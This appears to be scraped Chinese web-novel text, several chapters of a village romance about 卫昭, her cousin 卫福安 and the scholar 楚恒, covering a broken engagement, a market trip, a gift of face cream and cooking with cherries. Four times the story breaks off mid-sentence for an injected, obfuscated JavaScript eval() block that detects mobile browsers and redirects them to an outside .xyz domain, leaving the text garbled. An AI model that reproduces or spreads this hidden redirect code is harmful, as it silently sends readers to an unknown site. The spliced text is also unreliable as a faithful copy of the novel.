不同意婚事直言不同意便是,凭什么就这样直接找上门去,既是下工时间,那必定人不少,邻里邻居间多少都能听到,他们这不是存心毁了卫福安的名声吗? 卫福安跟着做起来给她顺气“好了好了,别生那么大气,我早就不气了。” 卫昭问她:“你打没打回去?” 卫福安一扬头:“那肯定打了啊。” 那家女主人话一说完,她跟她娘那爪子就挠上去了,他爹拦着男主人不让他帮忙,他哥则是把躲后面的那家儿子揪了出来按着打,一拳接一拳。 揍够了人,她娘直接放话:“满嘴喷粪的玩意儿,谁勾搭你家儿子了?你家儿子是什么香饽饽,还得人人都喜欢?就这怂货,我闺女一眼都瞧不上!” 卫福安跟着跳脚骂:“就是!要不是你儿子每次都巴巴地跑来找我,我认识他是谁吗?长得没我哥好看,性子软趴趴地还不如我这个你们口中乡下来的野丫头,我瞎了眼也看不上他!” 一通连打带骂,那家人灰溜溜地跑了。 卫昭听得只觉得身心舒畅,她就说,依二叔家里人的性子,怎么可能忍气吞声。 真要是忍了,卫福安的名声才是真的坏了,如今不过是在别人口中变得泼辣了一些,那又有什么影响。 “那你这次回来是留下躲风头吗?”卫昭问道。 卫福安点点头,一脸无所谓的样子:“那天之后,那家人很快就给他儿子订了门亲事,如今正准备成亲呢。附近人多嘴杂的,总免不了有人嚼舌根,我出门总有人躲在暗处说悄悄话。我这性子你又不是不知道,被惹急了就跟人打架,跟人打了两次,我爹娘便让我回上溪村来,等风头过了再回去,省得大姑娘家家一天天的净挂个彩回家。” 说到底,还是怕那些言论影响她。大煜朝虽民风开放,但说到底一个人不可能不在乎名声。 等这件事过去了,有了新的事代替,提起的人便少了,对卫福安的影响也小了。 卫昭摸了摸她的头:“没事,总会过去的。” 说得一脸无所谓的样子,可卫昭同她一起长大,怎会不明白,卫福安嘴上说看不上那人,但相处中必然是有心动的,不然她不会允许一个看不上的男子频繁来找她。 卫福安眼睛一酸,挪过去挨着卫昭的肩膀蹭蹭,说话的语气闷闷的:“昭昭,我眼光真差。” 卫昭安慰道:“没事,以后擦亮眼就好了,总不能因为一个没了交集的男子耽误你后面几十年的快乐吧?这次认清了人,以后再找的肯定会比他好。” 卫福安应了一声,“那时候他爹娘气势汹汹地找到家里来,我真的很想哭,我惹的祸,最后却让人骂了我爹娘。那时候看着我爹娘护着我,可那个人却躲在一旁不敢上前,我真的很难过,我觉得自己真是瞎了眼才看上这么个东西!” 她擦了把眼泪,吸了下鼻子,“不过,也怪我。” 明明是个乡下来的丫头,还想着嫁个有前途的读书人。若是当初她没有对那人以后的前途动心,也就不会给家里带来这些事了。 卫昭探手在枕边摸了条帕子递给她,温声道:“人总有想得到一些更好的东西的时候,只是那东西需要我们垫着脚尖去够,可那样容易站不稳,站不稳了,就容易跌倒。但没关系,我们爬起来,把脚下站的地方夯得牢牢稳稳的就好了,那时候我们许是能得到比刚刚那个更好的也说不定。” 卫福安闷着嗓子应了一声,重重点头,“昭昭,你以后选夫婿,一定要选一个能在有事的时候挡在你前面的人。 “他要娶你,也必须自己先把家里的事情解决好,不能让你顶在前头。 “还有,人也要长得好看些,不然以后生的孩子丑了就麻烦了……” 私私语语的声音响了很晚,次日鸡鸣声响起,卫昭迷迷瞪瞪地在床上翻了个身,到底是记挂着要去打水,磨磨蹭蹭地爬了起来。 床里侧的卫福安依旧睡得沉,许是昨晚哭多了,眼睛有些红,卫昭想等起床要先烧点热水让她用,不然等一会儿去赶集时,要是她眼睛还肿着,肯定又要急得吱哇乱叫。 一把凉水扑脸上,卫昭彻底清醒了,又开始了她风风火火的一天。 家中的牲畜都大了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931326|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃的多,拉的也更多了。 为了家中能干净些,卫昭少不得要多勤快打扫。 她刚把水打回来,回来时便见楚恒已经到了,正拿着她常用的工具站在猪圈外面犹豫如何下脚。 眼见他好似终于下定决心抬脚踩进去,卫昭赶紧撂下担子跑去拦他,“楚恒哥,别!” 卫昭伸手去拿他手里的铁锹,“这活儿太脏了,你别干了。” 让个穿的干干净净的读书人去清猪圈,卫昭觉得自己都心疼他身上的衣服。 这衣服看着就贵,指不定把她家两头猪都卖了也买不来。 楚恒不撒手,倔强得很:“你去忙你的,我可以。” 整日看卫昭干活,他一个大男人总不能干看着,能做的都得动手干些,不然他也没那个脸继续在卫昭家吃饭了。 清理鸡圈、羊圈、猪圈这些活儿,他多少看得差不多了,今天就想试试。 别看卫福安整日咋咋呼呼,漫山遍野地跑,可真要细看,她不管是穿着还是日常生活都比卫昭要精致一些,楚恒看着,心里多少有些不舒服。 不是攀比,是他觉得,卫昭不该这么累,她本也是家中的宝贝。 若是可以,他希望自己能帮卫昭把所有的事情都做了,让她如同她的名字一样,活成一抹肆意的朝阳。 他不知自己还能活多久,但他总是希望,在他还活着的时候,能守住她脸上那抹如同朝阳般的笑容。 见他坚持,卫昭只能放手,“那你等一下,我去把奶奶给你做的干活穿的衣裳草鞋拿过来。” 因着楚恒总来家里帮忙,樊桂花看不过他糟践他那些看起来就贵的衣服,给他做了两身干活穿的粗布麻衣,还编了草鞋。前些日子刚做好一套,还没给他,正好今天用上。 楚恒换好之后就进了猪圈,来了个陌生人,两头不安的猪开始四处乱蹿。 读书人没见过这个场面,正握着铁锹站在猪圈门口不知道该如何下手,旁边圈着的鸡鸭也开始扑棱着翅膀到处飞,他常放的那几只羊也冲着他“咩咩”叫了两声,应当是在跟他打招呼。 看楚恒那副有些手足无措的样子,卫昭抿了抿嘴,没好意思笑出来,她清了清嗓子,在一旁呼喝了两声,这些被带动着一起不安的牲畜才安静下来。 卫昭指导了几下,见楚恒确实做的有模有样,这才放下心来,去做其他的活计。 等卫福安醒来,伸着懒腰出了卫昭的厢房,迎面就看见楚家那个瘦弱秀才公正十分接地气地在卫昭家猪圈里干活,只觉得是自己眼花了。 她抬头瞧了下太阳,见确实是在东边,这才信了这不可思议的一幕。 她盯人盯的眼睛疼,张口就喊卫昭:“昭昭姐,我眼睛难受。” 昭昭从灶房里探出身子,“热水烧好了,过来敷一下。” 卫福安敷着敷着眼睛,脑子里突然蹦出一个想法: 这楚恒长得好像是有点好看的那种? 28. 胭脂水粉 卫福安一整个早上看楚恒的眼神都怪怪的,看得楚恒极不自在,以为自己刚刚干活时弄得身上哪里不妥了。 最后是吃早饭时被卫昭偷偷踩了一脚,卫福安才收敛。 她闷头默默喝着汤,心里却犯嘀咕: 楚恒和昭昭非亲非故的,总这么相处,是不是不太好? 说昭昭没多想,她信,这丫头将情义看得极重,就没那个心眼。 可大奶奶和楚恒这俩人一个赛一个的精明,就没想过村里人会说闲话? 她又偷偷拿眼神去瞅樊桂花,樊桂花垂眸默默喝着汤,一副稳稳当当八风不动的样子。 察觉到自己在看她,樊桂花抬起头,伸手拿了个馒头掰成两半,递给了她一半。 卫福安接过来狠狠啃了一口。 怪怪的。 想到昭昭也快要出孝期了,卫福安将那一肚子疑问就着汤,当馒头给咽了下去。 算了,只要昭昭开心就好。 早饭刚吃完没多久,卫吉祥和卫吉勇就来了,帮着将牛车套好,装好东西,一行五人便出发去了镇上。 近日屯的菜和山货还有编的竹筐之类的,都要拿去卖了,还要从镇上买些日常用的东西。 楚恒没有要卖的,不过他要给京中寄信和茶叶。 茶叶正是卫昭做的那些,不管是绿茶还是各种花茶,一听他是要给京城舅父家寄去,卫昭每样都给他匀出了不少,还不要他的钱。 当时他一提给钱,卫昭便虎着脸瞪他,“你要是执意给我银钱,那这些食谱你也都拿回去吧,我不要了。” 她一生气楚恒就心慌,连忙摆手:“我只是想着,这些茶都是你辛苦做的,若是什么都不要,你这一年忙着采茶制茶,不都是白做工了。” 卫昭才不会这样想:“别人喜欢我做出来的东西我就会很开心,而且,你托人帮我找的食谱也废了不少心力,你都不要我的钱,只作礼物相赠,我又为何不可?如今彼此之间因着情谊有来有往,何必牵扯那么多银钱关系。 “再说了,这些茶你也有帮忙,若是真算起来,我也该给你工钱,如今也可当做直接拿茶叶抵债。” 反正这东西她不要钱。 卫昭坚持,楚恒便只能妥协,不过,他却在信中托谢怀钰给他收集一些特色吃食寄过来。上次寄来的一些特色糕点很得卫昭喜欢,这次让人多送些来,对卫昭,他总觉得自己做的不够多。 他在京中有和谢怀钰、谢逸然一起合作的产业,回乡之前他便把自己名下的那些产业都交给了他们代为打理,说是帮忙,但其实他自知回京无望,也算是对舅父一家多年照料的一点微不足道的补偿。 所以,卫昭一开始担心的银钱根本不是问题,她本就该活的肆意潇洒,他又怎会为她披上挂累。 上午的集市格外热闹,街里堵得满满当当,几人只能从后街绕过去,等跟如意酒家和源昌货行交了货,这才找了个角落里支起了摊子。 他们隔一段时间总来卖竹篓和篮子,编的也结实,花样也多,集上不少人都记得他们,东西不愁卖,只是这东西不算必需品,卖得就慢了些,倒是那些因为数量少,没被酒楼收走的蔬菜,因为看着新鲜,卖得挺快。 留下卫吉勇看着摊子,其他几人赶紧去办自己的事,不然真等卖完了再去,这集市都要结束了。 楚恒将包裹交给民信局上次来村中给他送东西的杜茂武后,便跟着卫昭她们去买东西。 农家生活大多能自给自足,除了些必需品,也没什么其他的要买。 卫昭本打算回去了,却被卫福安拉着进了一家胭脂铺,“我们去看看有没有好看的胭脂水粉。” 速度快的让卫昭根本说不出拒绝的话。 卫吉祥有点不想进去:“你们女孩子去的地方……” “你们女孩子去的地方……”卫福安阴阳怪气地学他,而后又道:“我未来嫂子能去的地方,你就去不得了,是呗?” 卫吉祥瞬间闭嘴,跟着往里走,有一点卫福安倒是提醒他了,李清荷也是个年纪轻轻的姑娘家,应当也会喜欢这些东西。 他悄悄摸了摸兜里的铜板,也不知道剩的钱还够不够。 楚恒见此,只觉得刚刚给出去的信中,要的东西还是写少了。 春林镇到底不能和平川县城相比,胭脂水粉的颜色略显老旧,卫福安挑挑拣拣了半天,才勉强选出来两个可以入眼的胭脂膏,对卫昭说:“咱们俩一人一个。” 卫昭摇头拒绝,“这个太贵了,你买自己用的就好,我平时做活多,用不上。” 卫福安却执意让掌柜的包起来,平日里爹娘总会给她一些零花钱,她没什么花钱的用处,如今攒了不少。 她死死按住卫昭想去拦掌柜的手,语气里带着点恨铁不成钢的意味:“卫昭昭,你对自己好些怎么了?” 卫昭一脸的茫然:“我对自己挺好的啊。” 今日出门时她让卫昭穿那身桃粉色的衣服,结果她说去集市上要干活,舍不得。卫福安想起来就生气,接过东西转身拉着她就出门了,“买都买了,咱们赶紧走吧,别耽误吉祥哥给他未婚妻买。” 一旁蠢蠢欲动的卫吉祥嘴巴张张合合,愣是憋不出一句反驳的话,只能对掌柜的说道:“把她俩挑的那款胭脂膏也给我包一份。” 他也不懂这些东西,不过卫福安那丫头眼光挑的很,跟着她买,不说出彩,但一定不会出错。 他正心疼给出去的银钱,那可是他攒了许久的,就听一直站他旁边的楚恒指了指一旁的柜子,对掌柜的道:“这里面最好的一款面脂拿给我看看。” 卫吉祥:“?” 他十分疑惑:“你个大男人要面脂干嘛?” 楚恒:“……” 这人平日里看着挺机灵的,怎么如今这么一根筋,不拨不转。 但他也不好说自己到底用来做什么,只含糊地应了一声,接过掌柜的递过来的面脂看了看色泽,又闻了闻味道,觉得尚可,便掏钱买了下来。 回去要再给谢逸然写封信,问问她一些年轻姑娘的护肤方法,再请她寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935219|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些流行的胭脂水粉来。 心中盘算着,楚恒手上的动作也不慢,拿好东西便同卫吉祥一起匆匆追了出去。 早先出去的姐妹俩正站在一处树荫下望着这边,看到卫吉祥后还捂着嘴面对面偷笑。 卫吉祥也没空去想为什么楚恒要用面脂了,他挺了挺胸膛,十分正色地走过去:“去看看摊子那里卖的怎么样了,差不多了就收拾收拾回家。” 卫昭和卫福安再也绷不住,笑出了声。 恼羞成怒的卫吉祥在回家的路上把牛车驾的飞快,卫昭一边被颠的七荤八素,一边忍不住担心她家的牛。 楚恒捂着胸口差点被颠出来的东西,看着卫吉祥手里的牛鞭蠢蠢欲动,他以前骑过马,驾牛车应当也是可以的……吧? 最后在卫福安的掐脖威胁下,牛车终于慢了下来,几人到家时,脚踩在地上都觉得软绵绵的。 卫昭道:“哥,你以后离我家牛远一点。” 卫吉祥怜爱地摸着牛头:“那不可能,咱牛弟多喜欢我啊,它愿意让别人赶它。” 叫的还怪亲热得嘞。 楚恒试探地伸手去摸,许是见他今天早上给自己清理了牛棚,牛倒是没躲。 卫吉祥脸一拉,牵着牛就走了,边走边说:“咱俩天下第一好,你可别被一点小恩小惠就收买了……” 卫福安跟在后面,不放过任何一个可以阴阳怪气他的机会。 卫吉勇坠在后面慢慢跟着,懒洋洋地喊道:“哥,我想吃枣泥酥。” 他们是舍不得买糕点这种精贵食物,不过楚恒买了好多份,买完就给他们分了,颠了一路,卫吉勇早饿了。 卫昭缓过来后,看向楚恒问道:“楚恒哥,你想赶牛车吗?” 这人对什么都淡淡的,还是第一次对她家牛有了兴趣。 楚恒点了点头,道:“有些想试试。” 秀才公赶牛车? 卫昭一时有点想象不到那是个什么场景。 不过,既然他想学,那就学呗。 “等有空了我教你。” 楚恒有些诧异:“你会赶?”每次去镇上都是卫吉祥赶牛车,他还以为她不会。 她自己家的牛,卫昭当然会赶,“以前我爹娘教的,我还很小就会了。” 但比起赶牛车,她还是更喜欢坐在牛车上看别人赶。 院子里开始卸货,卫昭快走几步进去帮忙,楚恒摸了摸那盒面脂膏的盒子,犹豫着没有立刻叫住她。 买时只凭着一个突如其来的念头,如今要送出去,他才觉得自己的举动好似有些不妥。 送一个年轻姑娘面脂,怎么也不像是他这身份能做的。 这一刻,他当真是羡慕极了卫吉祥。 “楚恒哥,进来吃糕点了。” 卫昭扬声喊了一句,见他终于看过来,她赶紧挥了挥手,“快点,再不来你的那份就被抢光了。” 她就站在廊下,脸上满是笑意,像是在等他归家。 楚恒缓缓走近,眼里只盛得下一个她。 29. 红色细棉 自入夏之后,山中各种果子也渐渐露了出来,吸引着村里的小孩一天天地往山上跑。 卫昭这个大孩子也不例外。 雀儿山里都是宝贝,她一年四季都不落下。 她最喜清晨天蒙蒙亮时去爬山,快时一个时辰便可打个来回,正好赶上回家吃早饭。 时间太早了,她便只叫了三斤陪她。 如今三斤隔几日便能吃上大骨头,皮毛越发油光水滑,卫昭呼噜了下它的狗头,语气宠溺又嫌弃:“三斤,你又胖了,知道吗?” 到了夏日,平时喜欢漫山遍野撒欢的三斤也变得惫懒了,看着确实长了好几斤。 不过狗爷应当是自觉自己越发雄壮威武,站的倍儿直。 卫昭说了几句,一人一狗便钻进了山林里。 山上哪里长了好吃的果子村里人大多有数,沿途虽不是上山的大路,却也因为经常有人走,自成小路。 如今有乌梅,有山莓,有山杏,有桑葚,有胡颓子,这些都是如今可以吃的野果,还有许多尚未成熟的还不能摘。 多数野果已经被摘了不少,卫昭跑了许多地方,才摘满了腰间的小挎篮,背篓里则装满了她找到的紫苏、野山葱、野山姜和其他香料。 三斤跟着跑了一会儿,总算找回了曾经的状态,兴致勃勃准备大干一场,结果这个季节的山林并非它的主场,几次盯住了野味,结果都扑了个空。 它不敢离卫昭太远,只能看着那群跑出它狩猎范围的猎物压低声音怒吼,直到卫昭喊它下山,才屁颠屁颠地跟了上去。 回到家里,樊桂花正好估摸着时间做出了饭,卫昭收拾好自己,跟着坐下一起吃。 樊桂花跟她商量着家里的事:“下个月要收麦子,停两天便要种豆,再之后就是吉祥要成亲,这个月要多忙些,把要种的豆子准备好,地里应季的青菜也要再种点,该收的收了,等吉祥成亲时用,酒楼要的菜也得提前留出来……” 卫昭安静地听着,时不时便应一句,家中只她们祖孙二人,每次农忙时都有些忙不过来。 吃完了饭,卫昭先去菜地里溜达了一圈,清清草,再把不稳的秧架支好,熟了的菜收了一篮子,绕一圈出来,她身上便出了薄汗。 天气越来越热了。 卫昭看了看头顶刺眼的太阳,摇了摇手里那把蒲扇。 这把蒲扇还是去年六月做的,在六月份采摘的香蒲叶最合适做成蒲葵扇。 想到清早采的乌梅,她将篮子里的菜放到廊下阴凉处,转身进了灶房,翻出了一包冰糖。 卫福安来的时候就见她在洗从山上摘的果子,凑过去毫不客气地捏了洗好的来吃,酸酸甜甜的。 见卫昭洗完后把乌梅单独端走了,她便问:“昭昭,你今天要做什么?” “乌梅冰糖饮。”卫昭把院子里的小炉子支好,准备在院子里做。 做这道饮品其实很简单,只需要把乌梅、冰糖,还有陈皮一起大火煮沸,再转小火煮上两刻钟便可。 为了增加风味,卫昭还撒了一些茉莉花瓣。 乌梅冰糖饮做起来很快,等快煮好了,卫昭便去井边打了一桶水回来,把乌梅冰糖饮装在容器里放冷水中泡着。 其实把它吊在井中最好,可惜村里的井用的人多,不太方便,此时太阳渐高,温度上升,也不适合在井边守着。 卫福安喝着半温不凉的乌梅冰糖饮,脑海中灵光一闪,提议道:“我们去放楚恒家的井里怎么样?” 卫昭想了想,好像也行? 说干就干,二人抱了一罐乌梅冰糖饮,提了些野果便去了楚恒家。 半路还叫了卫吉祥和卫吉勇。 “这儿怎么会有马车?” 远远的,几人便看见楚恒家门口停着一辆马车,还有两人在搬着东西。 马车在春林镇里都是稀罕物,几人加快脚步走了过去,楚恒正好出来。 见卫昭额头上的汗沾湿了头发,他不由得轻轻皱了下眉,问道:“怎么这个时辰过来了?” 卫吉祥将手里的罐子放到门边,一脸兴致勃勃地凑到了马车旁边,跟杜茂武套起了近乎。 知道楚恒跟京城有关系,杜茂武对这个和楚恒关系看起来不错的乡下少年也多了几分耐心,还让他坐上马车试了试。 卫吉勇和卫福安眼睛齐齐一亮,跟着混了上去。 看着卫昭眼中的好奇,楚恒心下失笑,“要不要也上去试试?” 卫昭将手里的小篮子递给他,“果子都洗好了,你慢慢吃。” 说罢,人就奔着马车去了。 兄妹几人不好意思耽搁人家太久,试了一会儿便下来了。 杜茂武跟楚恒拱了拱手,“公子如有需要,去镇上找我即可。”话落,便和另一人坐上马车走了。 卫昭看了看走远的马车,又看了看楚恒,第一次对楚恒在外面的身份产生了好奇。 究竟是什么身份,才会让这个民信局的管事对他这么客气? 卫吉祥一脸兴奋:“没想到我还能坐上马车。” 卫吉勇和卫福安跟着点头,卫福安这几年虽然住在平川县城,但她也没坐过马车,多数还是坐的牛车。 不过卫福安十分喜欢拆台:“你这么开心,对得起你的牛弟吗?” 卫吉祥一脸正色:“我当然还是跟我牛弟最亲。” 不过,他转而露出一脸贼眉鼠眼的模样,搓手笑了笑:“要是我这辈子能有辆马车,牛弟肯定会理解我的。” 那模样看得卫昭嫌弃不已,这种“见异思迁”的人,以后还是离她家牛远一点吧。 她脸上的小表情直白又生动,楚恒看得好笑不已,心思一动,问她:“你想不想要马车?” 百姓家买马车虽有管制,但也不是没有办法可用。 卫昭却摇了摇头,“我有牛车就够了。” 她生在这儿,长在这儿,未来应当也不会离开这片养育她的土地,上溪村不大,春林镇也不大,一辆牛车就够了。 不过,比起坐马车,她其实更想骑马,幼年读书时曾经读到过两句诗: 春风得意马蹄疾,一日看尽长安花。 她不知道“马蹄疾”是种什么感觉,也不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945443|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长安花到底有多好看。 看出她眼中的丝丝向往,问清缘由后,楚恒一时沉默下来。 当年读书时他也曾心中热切,想过有朝一日高中功名打马游街,可惜后来一切化作泡影。在京中那些年他也曾有策马游街之时,可早没了那股少年意气。 命运待他残酷,可在生命的终点,许是于心不忍,又予了他一抹朝阳。 他们二人的命运有几分相似,却又截然不同,但卫昭总能勾动他内心深处最隐秘的那根弦。 他愈陷愈深,终是放任心中的贪婪占了上风。 对马车的热乎劲儿过了,几人这才想起了带来的陶罐。 把陶罐绑上绳子悬挂到井里,几人在楚恒的邀请下进了屋,一进去,便被堂屋中间放的一堆包裹吸引了视线。 楚恒解释道:“是我舅舅寄来的,里面有一些是给你们的礼物。” 一听还有自己的,卫家兄妹几人立刻便来了兴趣,跟着楚恒一起收拾。 多数是一些耐放的糕点干货,还有一些养身药材。 最醒目的是匹极为鲜艳的红色细棉布,春林镇极少见这般正的红色,料子摸着也是上等的棉布。 楚恒把它给了卫吉祥:“也不知道现在赶不赶得及做喜服,若是来不及,那就留着以后给你和你未婚妻做别的衣服穿。” 他其实想过很多能送的东西,珠宝、玉佩、瓷器,可最后,还是觉得花奶奶说的对,农家送礼应当送人最实用的。 他曾听胡娟抱怨过镇上的布料不好看不说,价格还贵,最后托人买了这几匹布料。 他见过卫吉祥有多么期待这场婚礼,想着,许是多了这几匹布料,他能更圆满一些。 其他的,若他有幸活到卫吉祥的孩子降生,届时作为长辈,再送也不迟。 卫吉祥直接呆在原地,木愣愣地把布接了过来,半天回不过神。 卫昭见状,赶紧推了他一把。 素日里惯会油嘴滑舌的卫吉祥如今只说得出一句“谢谢”,他一手拍在楚恒肩膀上,语气格外慷慨激昂:“我也不跟你说客气话,以后你就是我卫吉祥的亲兄弟。” 楚恒差点被他拍的一个趔趄,闻言着实有些不想应承这个身份。 将剩下的东西又分了分,兄妹几人拎着大包小包回了家。 卫昭把楚恒送了卫吉祥红布的事说了说,樊桂花笑眯眯地点了点头:“亲戚邻里相处总免不了随礼,入乡随俗送些实在东西,比起送那些华贵却扎眼的,要好不少。” 不失礼,也不招人眼。 卫昭若有所思地在一旁点头。 直到下午时分,树木阴凉多了起来,卫昭又去了楚恒家去拿陶罐,一个下午的时间,乌梅冰糖饮已经变得凉人得很,打开盖子还能看到丝丝缕缕的寒气。 卫昭给楚恒分了一些,剩下的还要回去和卫福安他们继续分,她刚要离开,却被楚恒叫住。 她疑惑地看着他,“怎么了?” 楚恒抿了抿唇,犹豫几番,终是递出了手里的东西: “这是前些日子去市集时,我买的面脂。” 30. 樱桃毕罗 面脂装在一个玉白的瓷盒中,瓷盒的边缘雕刻着缠枝花卉纹样,此刻正静静地躺在楚恒的掌心。 卫昭一时脑子反应不过来,“为何要给我这个?” 她平日里素面朝天,极少买这些东西,也不觉得自己需要。 东西都拿出来了,剩下的那些话好似也没有那么难开口,楚恒眉目温柔而安静,对卫昭道:“那日看到卫福安送你胭脂膏,觉得你应当需要,便买了。” 啊? 卫昭愣了一下,原来当日楚恒留在后面竟然也买了东西。 “可是,我用不上这个。”卫昭下意识拒绝。 她在上溪村没见有人家用过这东西,连那盒胭脂膏,若不是卫福安非要买,她也是不会要的。 楚恒固执地伸着手,看着她:“我觉得卫福安有句话说的很对。” “什么话?” “你该对自己好些。”楚恒声音虽轻,卫昭却听得分明。 卫昭被这句话震了一下心神,垂下眼眸:“我对自己挺好的。” 楚恒却上前一步,唤她:“卫昭昭。” 让卫昭不得不下意识抬头看他。 他的眼睛一瞬不瞬地与她对视:“你是个年轻的姑娘家,你有释放天性的权利。” 卫昭喃喃道:“我不爱化妆……” 楚恒:“那便不化,但对自己好与你化不化妆没有必然的关系。” 他空着的那只手在背后狠狠攥了一下拳头,似是鼓起了莫大的勇气,才在一声声的心如擂鼓中伸出来,握住了卫昭垂在身旁的手。 他将卫昭的手打开,看着她掌心中日积月累磨出的茧,心不由得疼了一下。 她的手有些粗糙,上面还有一些残留的疤痕,不知是学厨做饭时弄伤的,还是进山时不小心划的。 他的拇指指腹从那道陈年旧疤上轻轻拂过,快得让卫昭以为那好似是她的幻觉,而后便将那沾着他掌心灼人温度的瓷盒放在了她的手中。 做完这一切,他便克制着放开了她的手,往后退了一步。 “卫福安买胭脂膏你觉得理所当然,可,昭昭,为什么你却觉得自己不行?” 卫昭张了张口,下意识便想说她要做活,楚恒却不给她说出来的机会:“不管是生活在上溪村,还是春林镇,亦或是更远的平川县,每一个姑娘都有追求美的权利,没有谁能说你不合适,你自己也不行。” 他牢牢锁着卫昭的双眼:“我看到过,你曾在春林镇里看着偶然走过的穿着新衣、描眉画黛的姑娘目露欣赏和艳羡,你觉得她们是游玩,而你要做活,便是有了新衣也舍不得穿。 “但是,卫昭昭,没有人说过你做活时不可以穿新衣,也没有人说过你做活时不可以涂脂抹粉,你也可以活成你所羡慕的样子。 “许是你会觉得,你现在是家中的顶梁柱,应当懂事知礼,可你也该记得,你是女子,是个年轻的姑娘,你也要对自己好一些。” 卫昭怔怔地看着他,半晌才寻回自己的声音:“穿新衣,画眉黛,便是对自己好了吗?” “当然不是。”楚恒的声音透着股循循善诱的温柔,“没有哪一个教条之上写明了对自己好的标准,若真要寻一个标准,那便是,你要遵从你的心意去过自己想要的生活。” 掌中虚握的瓷盒好似内里燃着一簇火苗一般,竟有些越来越灼热,一路从掌心灼到心尖。 卫昭并不知道自己想过的生活是什么样子。 幼年懵懂之时便在父母的要求下开始学厨,长大之后家中突逢变故,她需要扛起这个家,也没时间去想未来。 楚恒那日的话浮上心头,她却莫名多了两分委屈与难过。 面脂带着清淡的花香覆上掌心那层薄茧,是一种和曾经在冬日里抹的冻疮膏十分不一样的感觉。 卫昭坐在铜镜前,单手支着侧脸,右手食指有一下没一下地敲打着瓷盒的盖子,思绪纷飞时,那双泛着温柔的眉眼总会放肆地浮现在她的眼前。 她觉得自己好像有些奇怪。 “昭昭,快看我拿来了什么!” 卫福安的呼唤声从院外传来,惊得卫昭猛一回神,忙应了一声,出了房间。 卫福安几步跨进了院子,拎着篮子到了廊下,把篮子放到了门边的阴凉下。 卫昭凑近一看,是一篮子樱桃。 她心中了然:“你去了余爷爷家?” 卫福安猛灌了一杯花茶,“对啊,幸好我去的早,你不知道,我刚从树上摘完下来,咱村里的小孩就跑去了。” 她估摸着时间,这几日天天去余天光家问,今日刚好碰上果子可以摘了,要是去晚了,能吃的就被那群小孩全摘走了。 摘了满满一篮子,卫福安十分大方地分给卫昭一半,“剩下的我拿回去爷爷家,和大伯他们一起吃。” 小姐妹俩又叙了会话,卫福安便离开了,留下卫昭对着一堆樱桃出神。 天气热,樱桃不耐放,她与奶奶二人吃的也不多,卫昭想了半天,突然想起楚恒送她的书里写过两道菜——樱桃煎和樱桃毕罗,便决定做来试试。 做这两种都需要先把樱桃洗净,用细签去核。 樱桃煎其实也可叫作樱桃蜜饯,方子是从京城一个小贩那里口述得来的。 做樱桃煎要用到蜂蜜,家中有卫长福以前上山时采来的,还存了一些。 去了核的樱桃加入蜂蜜在锅中熬煮,等水分析出,便要将之倒入一旁的筲箕中沥干,之后再倒回锅中,加入蜂蜜熬至浓稠。 成品的色泽类似樱桃原色,放凉后,卫昭尝了一颗,酸酸甜甜,嚼着有些韧劲儿,像是平日里吃的蜜饯。 樱桃的保存时间有限,做成蜜饯留着吃似乎也不错。 做樱桃毕罗却不一样,处理好的樱桃需要加水和糖熬煮成樱桃酱,再用热水和面,揉至光滑。 做好的面团分成等大的小剂子,擀成薄片,再包上樱桃酱。 薄薄的面皮需要呈长条状裹住樱桃酱,两侧不能封口,露出饱满的内馅,随后上锅蒸熟。 随着时间的流逝,香甜的樱桃味道弥漫在这个小院子里,勾来了村里的一些“小馋猫”。 卫丰宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952620|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他的玩伴们人人或捧或抱了些樱桃,站在卫昭家门口陶醉不已。 怎么昭昭姑姑家的樱桃这么香呢?手里的樱桃一比都没什么味道了。 卫丰宝问道:“昭昭姑姑,你在做什么?” 卫昭看向他们,笑道:“是我新学的一道吃食,叫做樱桃毕罗。” “樱桃毕罗?” 几个小孩子跟着学了一遍这个并没有听过的食物。 正好时间差不多了,卫昭便把他们叫了进来,当着他们的面掀开了“樱桃毕罗”的庐山真面目。 